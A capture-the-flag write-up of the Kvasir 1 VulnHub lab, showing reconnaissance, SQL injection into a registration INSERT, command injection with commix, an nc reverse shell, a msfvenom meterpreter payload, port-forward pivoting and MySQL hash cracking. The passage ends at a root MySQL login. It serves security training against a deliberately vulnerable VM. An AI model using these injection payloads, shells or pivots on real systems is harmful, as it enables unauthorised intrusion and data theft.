Kvasir 1 VulnHub Writeup
- Service discovery
- Port 80 - http
- SQL Injection?
- Admin screen
- Todo list
- MySQL
- MySQL to root
- root?
- Hello Celes
- Terra
- Locke
- Forensics
- kefka
- There is no Kefka, Only XOR
- root of roots
- Summary
After @web made me aware of Kvasir, I knew I had to give it a crack. Boy was I in for a treat!
Service discovery
Let's not waste any time here. Bring out nmap
.
root@kali:~# nmap -T4 -A -v -p0-65535 192.168.110.103
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-09-22 07:26 EDT
NSE: Loaded 140 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 07:26
Completed NSE at 07:26, 0.00s elapsed
Initiating NSE at 07:26
Completed NSE at 07:26, 0.00s elapsed
Initiating ARP Ping Scan at 07:26
Scanning 192.168.110.103 [1 port]
Completed ARP Ping Scan at 07:26, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:26
Completed Parallel DNS resolution of 1 host. at 07:26, 0.33s elapsed
Initiating SYN Stealth Scan at 07:26
Scanning 192.168.110.103 [65536 ports]
Discovered open port 80/tcp on 192.168.110.103
Completed SYN Stealth Scan at 07:26, 3.08s elapsed (65536 total ports)
Initiating Service scan at 07:26
Scanning 1 service on 192.168.110.103
Completed Service scan at 07:27, 6.03s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.110.103
Retrying OS detection (try #2) against 192.168.110.103
Retrying OS detection (try #3) against 192.168.110.103
Retrying OS detection (try #4) against 192.168.110.103
Retrying OS detection (try #5) against 192.168.110.103
NSE: Script scanning 192.168.110.103.
Initiating NSE at 07:27
Completed NSE at 07:27, 0.15s elapsed
Initiating NSE at 07:27
Completed NSE at 07:27, 0.01s elapsed
Nmap scan report for 192.168.110.103
Host is up (0.00056s latency).
Not shown: 65535 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:CF:5D:57 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.25BETA2%E=4%D=9/22%OT=80%CT=1%CU=39056%PV=Y%DS=1%DC=D%G=Y%M=080
OS:027%TM=57E3C013%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TI=Z%CI=I
OS:%TS=8)OPS(O1=M5B4ST11NW5%O2=M5B4ST11NW5%O3=M5B4NNT11NW5%O4=M5B4ST11NW5%O
OS:5=M5B4ST11NW5%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6
OS:=3890)ECN(R=Y%DF=Y%T=3F%W=3908%O=M5B4NNSNW5%CC=Y%Q=)T1(R=Y%DF=Y%T=3F%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=40%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%D
OS:F=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=3F%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%
OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=
OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)
Uptime guess: 198.049 days (since Tue Mar 8 05:16:52 2016)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE
HOP RTT ADDRESS
1 0.56 ms 192.168.110.103
NSE: Script Post-scanning.
Initiating NSE at 07:27
Completed NSE at 07:27, 0.00s elapsed
Initiating NSE at 07:27
Completed NSE at 07:27, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds
Raw packets sent: 65647 (2.896MB) | Rcvd: 65607 (2.626MB)
We've got a single port open - 80
.
Port 80 - http
Upon browsing to the target, we're met with what appears to be a login screen.
We are able to register an account with the service.
..and subsequently login.
I enter the string test'"
to test for SQLi on the username
field, and am met with the following response.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' AND password=''' at line 1
Jackpot. Let's be lazy and fire sqlmap
at the target.
SQL Injection?
Even after manipulating sqlmap
for a while, it appears as though we can't gain execution on the target through this route. After checking out some methods in curl
, it looks like we're facing up some sort of WAF that checks for keywords or bad characters in the request.
root@kali:~# curl -v -XPOST --data "username=' union select 1--&password=123" http://192.168.110.103/login.phpNote: Unnecessary use of -X or --request, POST is already inferred.
* Trying 192.168.110.103...
* Connected to 192.168.110.103 (192.168.110.103) port 80 (#0)
> POST /login.php HTTP/1.1
> Host: 192.168.110.103
> User-Agent: curl/7.50.1
> Accept: */*
> Content-Length: 40
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 40 out of 40 bytes
< HTTP/1.1 403 Forbidden
< Date: Thu, 22 Sep 2016 11:49:35 GMT
< Server: Apache/2.2.22 (Debian)
< Vary: Accept-Encoding
< Content-Length: 292
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /login.php
on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.110.103 Port 80</address>
</body></html>
* Connection #0 to host 192.168.110.103 left intact
Disappointed, but not defeated I decide to investigate the contents of the server further.
root@kali:~/dirsearch# python3 dirsearch.py -u http://192.168.110.103 -e php
_|. _ _ _ _ _ _|_ v0.3.7
(_||| _) (/_(_|| (_| )
Extensions: php | Threads: 10 | Wordlist size: 5151
Error Log: /root/dirsearch/logs/errors-16-09-22_07-51-15.log
Target: http://192.168.110.103
[07:51:16] Starting:
[07:51:16] 403 - 287B - /.hta
[07:51:16] 403 - 294B - /.ht_wsr.txt
[07:51:16] 403 - 296B - /.htaccess-dev
[07:51:16] 403 - 296B - /.htaccess.BAK
[07:51:16] 403 - 297B - /.htaccess.bak1
[07:51:16] 403 - 298B - /.htaccess-local
[07:51:16] 403 - 298B - /.htaccess-marco
[07:51:16] 403 - 296B - /.htaccess.old
[07:51:16] 403 - 297B - /.htaccess.orig
[07:51:16] 403 - 296B - /.htaccess.txt
[07:51:16] 403 - 297B - /.htaccess.save
[07:51:16] 403 - 299B - /.htaccess.sample
[07:51:16] 403 - 295B - /.htaccessOLD
[07:51:16] 403 - 298B - /.htaccess_extra
[07:51:16] 403 - 296B - /.htaccessOLD2
[07:51:16] 403 - 295B - /.htaccess_sc
[07:51:16] 403 - 297B - /.htaccess_orig
[07:51:16] 403 - 295B - /.htaccessBAK
[07:51:16] 403 - 293B - /.htaccess~
[07:51:16] 403 - 291B - /.htgroup
[07:51:16] 403 - 296B - /.htpasswd-old
[07:51:16] 403 - 297B - /.htpasswd_test
[07:51:16] 403 - 293B - /.htpasswds
[07:51:16] 403 - 291B - /.htusers
[07:51:16] 403 - 305B - /.idea/workspace%282%29.xml
[07:51:16] 403 - 305B - /.idea/workspace%283%29.xml
[07:51:16] 403 - 305B - /.idea/workspace%285%29.xml
[07:51:16] 403 - 305B - /.idea/workspace%287%29.xml
[07:51:16] 403 - 305B - /.idea/workspace%284%29.xml
[07:51:16] 403 - 305B - /.idea/workspace%286%29.xml
[07:51:17] 403 - 292B - /.loadpath
[07:51:17] 403 - 299B - /.selected_editor
[07:51:19] 403 - 293B - /UPDATE.txt
[07:51:19] 403 - 294B - /Updates.txt
[07:51:20] 302 - 365B - /admin.php -> index.php
[07:51:20] 302 - 365B - /admin.php -> index.php
[07:51:23] 403 - 291B - /cgi-bin/
[07:51:23] 403 - 310B - /cliente/downloads/h4xor.php
[07:51:24] 403 - 293B - /delete.php
[07:51:26] 200 - 464B - /index.php
[07:51:26] 200 - 464B - /index.php/login/
[07:51:26] 403 - 291B - /load.php
[07:51:27] 302 - 0B - /login.php -> index.php?fail=1
[07:51:27] 302 - 0B - /login.php -> index.php?fail=1
[07:51:29] 200 - 426B - /register.php
[07:51:29] 403 - 297B - /server-status/
[07:51:29] 403 - 296B - /server-status
[07:51:31] 403 - 290B - /updates
So we now know that there are a few other files on the target (or there might be), in particular admin.php
, delete.php
and load.php
.
I decide to move back and check for SQL Injection on the registration form, but hit in to the same WAF, this time however we get something interesting back from the error message when providing the value username2'
in the username
field.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'password2', 'dob2', 0, NULL)' at line 1
This suggests that we're injecting into an INSERT
statement. Let's try modifying the hardcoded 0
value, updating it to 1
. We can achieve this with the following input.
username2','password2','dob2',1,NULL)#
I then proceed to login with the username username2
and password password2
. We're met with a different screen this time, and a different path of /admin.php
.
Admin screen
So on this screen, we can apparently check the status of a valid service by providing its name. We're then provided with output from the service
command. Smells like command injection to me. I do a little digging by hand, but decide to try a new tool in my arsenal instead. Introducing commix
root@kali:~# commix --url="http://192.168.110.103/admin.php" --data="service=apache2" --cookie="PHPSESSID=4v7qaj8kg9t66au04u22fjthk0; 1474544351=; 1474544398=; 1474545698=; 1474546238="
__
___ ___ ___ ___ ___ ___ /\_\ __ _
/'___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ 1.2
/\ \__//\ \L\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\
\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject)
+--
Automated All-in-One OS Command Injection and Exploitation Tool
Copyright (c) 2014-2016 Anastasios Stasinopoulos (@ancst)
+--
[*] Checking connection to the target URL... [ SUCCEED ]
[*] Setting the POST parameter 'service' for tests.
[*] Testing the classic injection technique... [ SUCCEED ]
[+] The parameter 'service' seems injectable via (results-based) classic injection technique.
[~] Payload: ;echo KKQDJZ$((20+78))$(echo KKQDJZ)KKQDJZ
[?] Do you want a Pseudo-Terminal shell? [Y/n/q] > Y
Pseudo-Terminal (type '?' for available options)
commix(os_shell) > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Great, so we've got a shell on the target. Let's see if we can find out what that WAF was filtering earlier (not that we really need to, but out of curiosity).
commix(os_shell) > cat login.php
<?php $username = $_POST["username"]; $password = $_POST["password"]; mysql_connect("192.168.2.200", "webapp", "webapp") or die(mysql_error()); mysql_select_db("webapp") or die(mysql_error()); $query = "SELECT admin.php index.php login.php logout.php member.php register.php submit.php FROM users where username='$username' AND password='$password'"; $result = mysql_query($query) or die(mysql_error()); if (mysql_num_rows($result) == 1) { $row = mysql_fetch_array($result); session_start(); $_SESSION["username"] = $username; if ($row["admin"] == 1) { $_SESSION["admin"] = 1; setcookie(time()+600); header ("Location: admin.php"); } elseif ($row["admin"] == 0) { $_SESSION["member"] = 1; setcookie(time()+600); header ("Location: member.php"); } } else header ("Location: index.php?fail=1"); ?>
Ok, so no WAF as far as I can see here. There must be a plugin enabled (such as mod_security
). Let's check out the apache2
config.
First I decide to get a reverse shell, so that the output is a little prettier and easier to read.
I listen on port 1234
on my testing machine.
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
Then execute the following command on the target.
commix(os_shell) > nc -e /bin/sh 192.168.110.102 1234
I'm met by a shell on my listening tab.
192.168.110.103: inverse host lookup failed: Unknown host
connect to [192.168.110.102] from (UNKNOWN) [192.168.110.103] 45450
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Great!
I check out which mods are enabled in /etc/apache2/mods-enabled
.
ls -lah /etc/apache2/mods-enabled
total 8.0K
drwxr-xr-x 2 root root 4.0K Aug 9 2014 .
drwxr-xr-x 7 root root 4.0K Aug 9 2014 ..
lrwxrwxrwx 1 root root 28 Aug 9 2014 alias.conf -> ../mods-available/alias.conf
lrwxrwxrwx 1 root root 28 Aug 9 2014 alias.load -> ../mods-available/alias.load
lrwxrwxrwx 1 root root 33 Aug 9 2014 auth_basic.load -> ../mods-available/auth_basic.load
lrwxrwxrwx 1 root root 33 Aug 9 2014 authn_file.load -> ../mods-available/authn_file.load
lrwxrwxrwx 1 root root 36 Aug 9 2014 authz_default.load -> ../mods-available/authz_default.load
lrwxrwxrwx 1 root root 38 Aug 9 2014 authz_groupfile.load -> ../mods-available/authz_groupfile.load
lrwxrwxrwx 1 root root 33 Aug 9 2014 authz_host.load -> ../mods-available/authz_host.load
lrwxrwxrwx 1 root root 33 Aug 9 2014 authz_user.load -> ../mods-available/authz_user.load
lrwxrwxrwx 1 root root 32 Aug 9 2014 autoindex.conf -> ../mods-available/autoindex.conf
lrwxrwxrwx 1 root root 32 Aug 9 2014 autoindex.load -> ../mods-available/autoindex.load
lrwxrwxrwx 1 root root 26 Aug 9 2014 cgi.load -> ../mods-available/cgi.load
lrwxrwxrwx 1 root root 30 Aug 9 2014 deflate.conf -> ../mods-available/deflate.conf
lrwxrwxrwx 1 root root 30 Aug 9 2014 deflate.load -> ../mods-available/deflate.load
lrwxrwxrwx 1 root root 26 Aug 9 2014 dir.conf -> ../mods-available/dir.conf
lrwxrwxrwx 1 root root 26 Aug 9 2014 dir.load -> ../mods-available/dir.load
lrwxrwxrwx 1 root root 26 Aug 9 2014 env.load -> ../mods-available/env.load
lrwxrwxrwx 1 root root 30 Aug 9 2014 headers.load -> ../mods-available/headers.load
lrwxrwxrwx 1 root root 27 Aug 9 2014 mime.conf -> ../mods-available/mime.conf
lrwxrwxrwx 1 root root 27 Aug 9 2014 mime.load -> ../mods-available/mime.load
lrwxrwxrwx 1 root root 35 Aug 9 2014 mod-security.conf -> ../mods-available/mod-security.conf
lrwxrwxrwx 1 root root 35 Aug 9 2014 mod-security.load -> ../mods-available/mod-security.load
lrwxrwxrwx 1 root root 34 Aug 9 2014 negotiation.conf -> ../mods-available/negotiation.conf
lrwxrwxrwx 1 root root 34 Aug 9 2014 negotiation.load -> ../mods-available/negotiation.load
lrwxrwxrwx 1 root root 27 Aug 9 2014 php5.conf -> ../mods-available/php5.conf
lrwxrwxrwx 1 root root 27 Aug 9 2014 php5.load -> ../mods-available/php5.load
lrwxrwxrwx 1 root root 33 Aug 9 2014 reqtimeout.conf -> ../mods-available/reqtimeout.conf
lrwxrwxrwx 1 root root 33 Aug 9 2014 reqtimeout.load -> ../mods-available/reqtimeout.load
lrwxrwxrwx 1 root root 31 Aug 9 2014 setenvif.conf -> ../mods-available/setenvif.conf
lrwxrwxrwx 1 root root 31 Aug 9 2014 setenvif.load -> ../mods-available/setenvif.load
lrwxrwxrwx 1 root root 29 Aug 9 2014 status.conf -> ../mods-available/status.conf
lrwxrwxrwx 1 root root 29 Aug 9 2014 status.load -> ../mods-available/status.load
lrwxrwxrwx 1 root root 32 Aug 9 2014 unique_id.load -> ../mods-available/unique_id.load
There we have it - mod_security
is enabled.
We don't need no stinkin' SQLi - we have access to the database credentials from login.php
. Let's perform an SQL dump on the webapp
database.
mysqldump -h192.168.2.200 -uwebapp -pwebapp webapp
-- MySQL dump 10.13 Distrib 5.5.37, for debian-linux-gnu (x86_64)
--
-- Host: 192.168.2.200 Database: webapp
-- ------------------------------------------------------
-- Server version 5.5.37-0+wheezy1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `todo`
--
DROP TABLE IF EXISTS `todo`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `todo` (
`task` varchar(255) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `todo`
--
LOCK TABLES `todo` WRITE;
/*!40000 ALTER TABLE `todo` DISABLE KEYS */;
INSERT INTO `todo` VALUES ('stop running mysql as root');
/*!40000 ALTER TABLE `todo` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `users`
--
DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
`username` varchar(255) CHARACTER SET latin1 NOT NULL,
`password` varchar(255) CHARACTER SET latin1 NOT NULL,
`dob` varchar(255) CHARACTER SET latin1 NOT NULL,
`admin` tinyint(1) NOT NULL,
`id` int(3) NOT NULL AUTO_INCREMENT,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=75 DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `users`
--
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES ('test','test','01/01/01',0,1),('fake','fake','fake',0,2),('fake','fake','fake',0,3),('-8852','fake','fake',0,4),('fake) OR NOT 7401=3767#','fake','fake',0,5),('fake) OR NOT 5102=5102#','fake','fake',0,6),('fake)) OR NOT 3734=8173#','fake','fake',0,7),('fake)) OR NOT 5102=5102#','fake','fake',0,8),('fake))) OR NOT 8872=9066#','fake','fake',0,9),('fake))) OR NOT 5102=5102#','fake','fake',0,10),('fake OR NOT 8854=2846#','fake','fake',0,11),('fake OR NOT 5102=5102#','fake','fake',0,12),('fake\") OR NOT 4750=1432#','fake','fake',0,13),('fake\") OR NOT 5102=5102#','fake','fake',0,14),('fake\")) OR NOT 7002=2938#','fake','fake',0,15),('fake\")) OR NOT 5102=5102#','fake','fake',0,16),('fake\"))) OR NOT 1012=3474#','fake','fake',0,17),('fake\"))) OR NOT 5102=5102#','fake','fake',0,18),('fake%\") OR NOT 5177=4756#','fake','fake',0,19),('fake%\") OR NOT 5102=5102#','fake','fake',0,20),('fake%\")) OR NOT 9106=3184#','fake','fake',0,21),('fake%\")) OR NOT 5102=5102#','fake','fake',0,22),('fake%\"))) OR NOT 1460=9712#','fake','fake',0,23),('fake%\"))) OR NOT 5102=5102#','fake','fake',0,24),('fake\")) AS bXeD WHERE 4481=4481 OR NOT 4289=7707#','fake','fake',0,25),('fake\")) AS sFeB WHERE 5252=5252 OR NOT 5102=5102#','fake','fake',0,26),('fake)) AS Imyd WHERE 3675=3675 OR NOT 3380=6664#','fake','fake',0,27),('fake)) AS JlcW WHERE 7439=7439 OR NOT 5102=5102#','fake','fake',0,28),('fake\") AS RJWw WHERE 8438=8438 OR NOT 9534=8637#','fake','fake',0,29),('fake\") AS VaIE WHERE 6260=6260 OR NOT 5102=5102#','fake','fake',0,30),('fake) AS aqna WHERE 5134=5134 OR NOT 9794=4667#','fake','fake',0,31),('fake) AS upix WHERE 8797=8797 OR NOT 5102=5102#','fake','fake',0,32),('fake` WHERE 4342=4342 OR NOT 7233=9744#','fake','fake',0,33),('fake` WHERE 7600=7600 OR NOT 5102=5102#','fake','fake',0,34),('fake`) WHERE 7968=7968 OR NOT 9516=7871#','fake','fake',0,35),('fake`) WHERE 5503=5503 OR NOT 5102=5102#','fake','fake',0,36),('(2809=2182)*2182','fake','fake',0,37),('(8710=8710)*6828','fake','fake',0,38),('fake','fake','-8852',0,39),('fake','fake','fake) OR NOT 9826=3673#',0,40),('fake','fake','fake) OR NOT 8154=8154#',0,41),('fake','fake','fake)) OR NOT 8464=2289#',0,42),('fake','fake','fake)) OR NOT 8154=8154#',0,43),('fake','fake','fake))) OR NOT 2055=2114#',0,44),('fake','fake','fake))) OR NOT 8154=8154#',0,45),('fake','fake','fake OR NOT 2795=3308#',0,46),('fake','fake','fake OR NOT 8154=8154#',0,47),('fake','fake','fake\") OR NOT 3324=5328#',0,48),('fake','fake','fake\") OR NOT 8154=8154#',0,49),('fake','fake','fake\")) OR NOT 4812=7861#',0,50),('fake','fake','fake\")) OR NOT 8154=8154#',0,51),('fake','fake','fake\"))) OR NOT 3928=7253#',0,52),('fake','fake','fake\"))) OR NOT 8154=8154#',0,53),('fake','fake','fake%\") OR NOT 4371=9088#',0,54),('fake','fake','fake%\") OR NOT 8154=8154#',0,55),('fake','fake','fake%\")) OR NOT 8879=9060#',0,56),('fake','fake','fake%\")) OR NOT 8154=8154#',0,57),('fake','fake','fake%\"))) OR NOT 6775=5202#',0,58),('fake','fake','fake%\"))) OR NOT 8154=8154#',0,59),('fake','fake','fake\")) AS utBs WHERE 4210=4210 OR NOT 9899=4482#',0,60),('fake','fake','fake\")) AS kdyd WHERE 7001=7001 OR NOT 8154=8154#',0,61),('fake','fake','fake)) AS asac WHERE 2903=2903 OR NOT 5000=6138#',0,62),('fake','fake','fake)) AS clYO WHERE 6419=6419 OR NOT 8154=8154#',0,63),('fake','fake','fake\") AS xFsS WHERE 2996=2996 OR NOT 5383=1754#',0,64),('fake','fake','fake\") AS WMKg WHERE 5438=5438 OR NOT 8154=8154#',0,65),('fake','fake','fake) AS sISL WHERE 6055=6055 OR NOT 7470=3931#',0,66),('fake','fake','fake) AS THPp WHERE 9745=9745 OR NOT 8154=8154#',0,67),('fake','fake','fake` WHERE 3155=3155 OR NOT 5933=4228#',0,68),('fake','fake','fake` WHERE 9382=9382 OR NOT 8154=8154#',0,69),('fake','fake','fake`) WHERE 3509=3509 OR NOT 8000=1116#',0,70),('fake','fake','fake`) WHERE 3175=3175 OR NOT 8154=8154#',0,71),('fake','fake','(6991=1416)*1416',0,72),('fake','fake','(6208=6208)*7833',0,73),('username2','password2','dob2',1,74);
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2016-09-22 13:20:02
Todo list
In the above dump, the only users that exist are the ones from our testing and exploitation, however there is another table named todo
, with the following row.
stop running mysql as root
Sounds like we might be able to elevate from mysql
direct to the root
user on the database server.
After checking the IP address of the web server, it looks like the setup may be segmented somewhat, as the database server is on 192.168.2.200
, and the web server is on 192.168.1.100
.
/sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 46:42:63:f5:8a:46
inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::4442:63ff:fef5:8a46/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:65771 errors:0 dropped:0 overruns:0 frame:0
TX packets:55143 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:10906774 (10.4 MiB) TX bytes:13437245 (12.8 MiB)
eth1 Link encap:Ethernet HWaddr 86:06:33:38:4a:09
inet addr:192.168.2.100 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::8406:33ff:fe38:4a09/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1471 errors:0 dropped:0 overruns:0 frame:0
TX packets:1405 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:160256 (156.5 KiB) TX bytes:129940 (126.8 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
The machine description does hint towards Linux Containers being utilised. This is going to be fun.
MySQL
To further the foothold on the web server, I want to get a meterpreter
session. First of all I generate a php
payload with msfvenom
.
root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.110.102 LPORT=4444 -f raw > shell.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 26803 bytes
Next I pipe the contents into a new nc
listener.
root@kali:~# cat shell.php | nc -lvp 12345
listening on [any] 12345 ...
I connect to this port with nc
on the target, and pipe it in to a file in the web root.
nc 192.168.110.102 12345 > shell.php
ls -lah
total 64K
drwxr--r-- 2 www-data www-data 4.0K Sep 22 15:42 .
drwxr-xr-x 12 root root 4.0K Aug 9 2014 ..
-rwxr-xr-x 1 www-data www-data 600 Aug 9 2014 admin.php
-rwxr-xr-x 1 www-data www-data 713 Aug 27 2014 index.php
-rwxr-xr-x 1 www-data www-data 781 Aug 9 2014 login.php
-rwxr-xr-x 1 www-data www-data 87 Aug 9 2014 logout.php
-rwxr-xr-x 1 www-data www-data 707 Aug 9 2014 member.php
-rwxr-xr-x 1 www-data www-data 426 Aug 9 2014 register.php
-rw-r--r-- 1 www-data www-data 27K Sep 22 15:43 shell.php
-rwxr-xr-x 1 www-data www-data 501 Aug 9 2014 submit.php
Now to setup the handler in metasploit
.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter_reverse_tcp
PAYLOAD => php/meterpreter_reverse_tcp
msf exploit(handler) > set LHOST 192.168.110.102
LHOST => 192.168.110.102
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run
[*] Started reverse TCP handler on 192.168.110.102:4444
[*] Starting the payload handler...
Then trigger the target script with wget
from my testing machine.
root@kali:~# wget http://192.168.110.103/shell.php
--2016-09-22 10:45:57-- http://192.168.110.103/shell.php
Connecting to 192.168.110.103:80... connected.
HTTP request sent, awaiting response...
Meanwhile, in metasploit
..
[*] Meterpreter session 1 opened (192.168.110.102:4444 -> 192.168.110.103:40266) at 2016-09-22 10:45:57 -0400
Good stuff. Now I'm going to forward on port 3306
on 192.168.2.200
to my testing machine.
meterpreter > portfwd add -l 3306 -p 3306 -r 192.168.2.200
[*] Local TCP relay created: :3306 <-> 192.168.2.200:3306
Now I should be able to connect to the mysql
on my testing
machine with the username and password of webapp
.
root@kali:~# mysql -uwebapp -pwebapp -h127.0.0.1
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 38
Server version: 5.5.37-0+wheezy1 (Debian)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
After connecting, I try to read the /etc/passwd
file, just to see if we have that ability.
mysql> SELECT LOAD_FILE('/etc/passwd');
+--------------------------+
| LOAD_FILE('/etc/passwd') |
+--------------------------+
| NULL |
+--------------------------+
1 row in set (0.02 sec)
Damn - I check the mysql.users
table, which we for some reason have full access to!
mysql> select Host,User,Password,File_priv from user;
+---------------+------------------+-------------------------------------------+-----------+
| Host | User | Password | File_priv |
+---------------+------------------+-------------------------------------------+-----------+
| localhost | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y |
| db | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y |
| 127.0.0.1 | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y |
| ::1 | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y |
| localhost | debian-sys-maint | *E0E0871376896664A590151D348CCE9AA800435B | Y |
| 192.168.2.100 | webapp | *BF7C27E734F86F28A9386E9759D238AFB863BDE3 | N |
| 192.168.2.100 | root | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y |
+---------------+------------------+-------------------------------------------+-----------+
7 rows in set (0.01 sec)
So there's a root
user that we can connect to from our pivot host, and we've got a hash.
After searching on https://crackstation.net, we get a hit for the hash with the value of coolwater
. I quit out of my current mysql
session and connect with the root
user. I then read the /etc/passwd
file, to make sure we have access.
root@kali:~# mysql -uroot -pcoolwater -h127.0.0.1
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.5.37-0+wheezy1 (Debian)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
